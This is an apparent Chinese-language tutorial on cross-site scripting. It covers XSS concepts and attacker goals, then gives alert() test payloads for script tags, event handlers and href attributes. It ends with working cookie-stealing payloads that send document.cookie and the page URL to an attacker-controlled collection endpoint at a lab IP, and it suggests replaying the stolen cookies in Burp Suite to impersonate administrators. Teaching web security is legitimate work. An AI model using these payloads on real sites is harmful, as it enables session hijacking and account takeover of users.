XSS攻击(1), 测试XSS漏洞, 获取cookie

XSS漏洞, 测试XSS漏洞, 获取cookie

一, 概念:

XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础.

二, 目的:

XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下是一些常见的XSS攻击目的:

  1. 窃取Cookie:许多攻击者使用XSS来窃取用户的cookies,尤其是session cookies。一旦攻击者获得了这些cookies,他们可能能够伪造用户身份,接管用户的会话,访问账户或执行未授权的操作。

  2. 账户劫持:与上一点相关,一旦窃取了用户的认证信息,攻击者可以接管用户账户。这可能涉及改变账户设置、进行欺诈性交易或获取敏感信息。

  3. 传播恶意软件:攻击者可以使用XSS漏洞在用户的浏览器中执行脚本,导致受害者下载和安装恶意软件或勒索软件。

  4. 钓鱼攻击:通过XSS,攻击者可以修改网页内容,创建伪造的登录窗口或其他交互式元素,诱使用户提供敏感信息,如用户名、密码或信用卡详情。

  5. 网站内容篡改:攻击者可以修改受害者看到的网站内容,包括插入虚假信息、广告或其他恶意内容。

  6. 网络钓鱼和点击劫持:攻击者可以使用XSS注入脚本,强制用户在背景中执行不可见的操作,如点击广告或链接,从而为攻击者带来经济利益。

  7. 利用用户的身份执行操作:如果受害者具有某些特权,例如网站管理员,攻击者可能会利用XSS漏洞,使用受害者的权限对网站进行未授权的修改。

  8. 收集敏感信息:除了cookies外,攻击者还可以利用XSS窃取存储在浏览器中的其他数据,如localStorage中的数据或Web应用中的敏感信息。

  9. DDoS攻击:通过XSS,攻击者可以迫使受害者的浏览器成为分布式拒绝服务(DDoS)攻击的一部分,对目标网站进行攻击。

  10. 绕过访问控制:在某些情况下,攻击者可能使用XSS来绕过前端的安全检查或限制。

三, 测试XSS漏洞

原理:

XSS的原理就是开发者没有对输入内容进行过滤, 导致通过攻击者精心构造的前端代码, 输入后和原来的前端代码产生混淆, 形成新的页面语句, 并且新的页面代码能够被浏览器解析并输出.

步骤:
    1. 页面既有输入的地方, 也有输出的地方, 比如留言板, 论坛发帖等等.
    1. 在文本输入的地方使用<JavaScript>, <img>, <button>等标签嵌入代码并提交, 例如:
html 复制代码
2023年前三季度我国货物贸易进出口总值30.8万亿元,同比微降0.2%;其中,9月当月,进出口3.74万亿元,
规模创年内单月新高。
<button onclick=alert(document.cookie)>显示cookie</button>
国新办当天举行的新闻发布会上表示,面对复杂严峻的外部环境和国内多重困难挑战,
我国货物贸易进出口平稳运行、积极向好。
    1. 查看提交后显示帖子的页面, 如果alert能够弹出消息, 说明存在XSS漏洞.
能够运行js的一些位置:
py 复制代码
url: http://192.168.112.200/security/testxss.php?content=1
1. <script></script> 标签
html 复制代码
content=<script>alert(1)</script>
content=<script>alert('hello word')</script>
content=<script>alert(/hello word/)</script>

注意:

在url提交参数时, 加号 '+' 会被表示为空格.

如果想使用加号本身, 需要url编码, 加号的url编码是 '%2B' 或 '%2b' .

js 复制代码
<script>var res=0;for (var i=0;i<=100;i%2B%2B){res%2B=i;} alert(res);</script>
2. onclick, onerror, onload, onfocus, onblur, onchange, onmouseover 等事件
html 复制代码
content=<button onclick=alert(1)>快来点我</button>
content=<img src="https://www.baidu.com/result.png" onclick="alert(1)">
content=<img src="https://www.baidu.com/result.png" onmouseover="alert(1)">
content=<script>function test(){alert("hello world");}</script><button onclick=test()>点我测试</button>

网页源码:

html 复制代码
<input name=keyword value="">

上面代码是一个输入框, 在输入框的位置输入payload, 用双引号对value做闭合, 后面写事件与需要执行的js代码.

payload:

py 复制代码
" οnclick="alert(1)

提交后的网页源码:

html 复制代码
<input name=keyword value="" onclick="alert(1)">
3. 超链接的 href 属性, 或类似属性.
html 复制代码
content=<a href="javascript:alert(1)">快来点我</a>

将当前用户访问的url和cookie发送到攻击者的远程服务器接口.

后续通过burpsuit等工具篡改cookie即可伪装用户越权访问, 尤其是管理员账户.

案例:
  1. 利用js代码动态生成一个图片对象, 通过src属性将url和cookie发送到攻击者准备好的远程服务器上.
    当用户访问页面时, 会自动发送这个GET请求.

%2b表示+, 用于拼接字符串

%26表示&, 用于表示get参数之间的间隔符

py 复制代码
接口: http://192.168.112.200/security/getxssinfo.php
方法: GET
参数: url, cookie

payload:

html 复制代码
这周,一家人工智能初创公司的募资额快追上这个数。
<script>
    new Image().src = "http://192.168.112.200/security/getxssinfo.php?
    url="%2blocation.href%2b"%26cookie="%2b document.cookie;
</script>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
  1. 如果目标服务器不能执行 <script> 标签, 也可以通过 <a> 标签与 <img> 标签来实现.
    当用户点击图片链接后, 发送url与cookie给攻击者的远程服务器接口.

payload:

html 复制代码
这周,一家人工智能初创公司的募资额快追上这个数。
<a href=\'javascript:location.href="http://192.168.112.200/security/getxssinfo.php?
url="%2blocation.href%2b"%26cookie="%2b document.cookie\'>
    <img src="https://mbdp01.bdstatic.com/static/landing-pc/img/logo_top.79fdb8c2.png"/>
</a>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
相关推荐
hamber18 分钟前
GoGBA 上架半年记
前端
IT_陈寒22 分钟前
Python的finally居然不等同于Go的defer,差点坑惨我
前端·人工智能·后端
恋猫de小郭23 分钟前
给 AI 的 Agent 实现指南,可控 Agent 的关键
前端·人工智能·ai编程
米码收割机27 分钟前
【Python】Flask+SQLite_web 宠物领养系统 (源码+文档)【独一无二】
前端·python·flask
寒水馨42 分钟前
macOS下载、安装 Tailwind CSS-v4.3.3(附安装包tailwindcss-macos-arm64)
前端·css·macos·tailwind css·utility-first·css 框架·实用优先
shawxlee1 小时前
vue3+axios挑战最简洁实用的配置封装+接口调用:请求拦截器、响应拦截器、通用请求方法(单个请求/并发请求/下载文件)、统一接口管理
前端·经验分享·vue·接口·axios·api
yuhaiqiang1 小时前
上线一个人静态网站需要多少钱,难不难?
前端·后端·程序员
宸津-代码粉碎机1 小时前
Jar热部署进阶实战|修复原生方案OOM与类冲突问题,生产级无BUG优化方案
java·大数据·服务器·开发语言·前端·人工智能·python
To_OC9 小时前
写了三遍 Todo List,我终于搞懂了 React 父子组件到底怎么通信
前端·javascript·react.js
勇往直前plus10 小时前
Vue3(篇一) 核心概念——响应式模板语法与组件基础
前端·javascript·vue.js